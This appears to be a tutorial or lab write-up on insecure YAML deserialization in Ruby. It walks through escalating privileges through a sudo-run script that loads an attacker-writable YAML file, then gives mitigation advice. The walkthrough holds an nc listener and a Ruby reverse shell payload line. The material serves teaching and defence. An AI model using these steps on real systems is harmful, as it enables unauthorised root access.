Understanding Insecure Deserialization

Deserialization is the process of transforming serialized data, such as YAML or JSON, back into its original form. Insecure deserialization occurs when untrusted data is deserialized without proper validation, leading to potential security risks. Attackers can exploit this vulnerability to execute arbitrary code, bypass authentication, or perform other malicious activities.

YAML in Ruby:

Ruby, a popular programming language known for its simplicity and flexibility, provides built-in support for YAML parsing. YAML (YAML Ain't Markup Language) is a human-readable data serialization format commonly used for configuration files and data exchange. However, YAML's ease of use can inadvertently introduce security vulnerabilities if not handled correctly.

Risks of Insecure Deserialization:

Insecure deserialization in Ruby's YAML parser can have severe consequences. Attackers may manipulate serialized data to exploit vulnerable code paths, leading to remote code execution or denial of service attacks. It's crucial to understand the potential risks and adopt preventive measures.

The pre-requisites are as follows:

  1. The ActiveSupport gem must be installed and loaded.
  2. ERB from the standard library must be loaded (which Ruby does not load by default).
  3. After deserialization, a method that does not exist must be called on the deserialized object.

While these pre-requisites will almost certainly be fulfilled in the context of any Ruby on Rails web application, they are rarely fulfilled by other Ruby applications.


Vulnerable code

Universal gadget for ruby <= 2.7.2:

Universal gadget for ruby 2.x - 3.x.



1. In this case we have an application that reads/runs “dependencies.yml”, it uses Yaml.load(File_read()) to load the file. This Ruby script was found to run as sudo without password, it also doesn’t specify the specify path for the file

  • sudo -l

2. If we read the file “update_dependencies.rb”, we will find yaml.load in the script, and it uses the function File_read()

  • cat /opt/update_dependencies.rb

3. Verify the ruby version

  • ruby -v

3. Now, its time to read “dependencies.yml

  • cat dependencies.yml


1. Now that we know the version of ruby we can apply the right syntax (Universal gadget for ruby 2.x - 3.x) in our case as ruby version is 2.7.4, we will create a file in /tmp , name it as “dependencies.yml”, and inject the Linux command “id”

  • cd /tmp
  • vi dependencies.yml
  • cat dependencies.yml

2. Run the command, we’ll notice the output of the “id” Linux command

  • sudo /usr/bin/ruby /opt/update_dependencies.rb

3. Knowing we can execute commands, we can try to elevate our privileges, in this case I will start a listener in my local machine, and run a ruby reverse shell to communicate on port 5555

Listener local machine

  • nc -lvp 5555

YAML payload in the remote machine

  • vi dependencies.yml
  • cat dependencies.yml
  • ADD: git_set: ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("",5555))'

4. Check the listener, you should have a reverse shell with privilege rights

Best Practices to Mitigate Insecure Deserialization:

To mitigate insecure deserialization vulnerabilities in Ruby YAML, developers should follow these best practices:

a. Validate Input: Implement strict input validation to ensure that only trusted data is deserialized.

b. Use Safe Loading: Enable safe loading mode during YAML parsing to restrict object creation to basic types, reducing the risk of code execution.

c. Employ Whitelisting: Restrict allowed classes during deserialization to prevent the creation of potentially dangerous objects.

d. Sanitize User Input: Treat user input as untrusted and sanitize it thoroughly before deserialization.

e. Regular Updates: Keep the Ruby interpreter, YAML library, and dependencies up to date to benefit from security patches and bug fixes.





Portswigger - Insecure Deserialization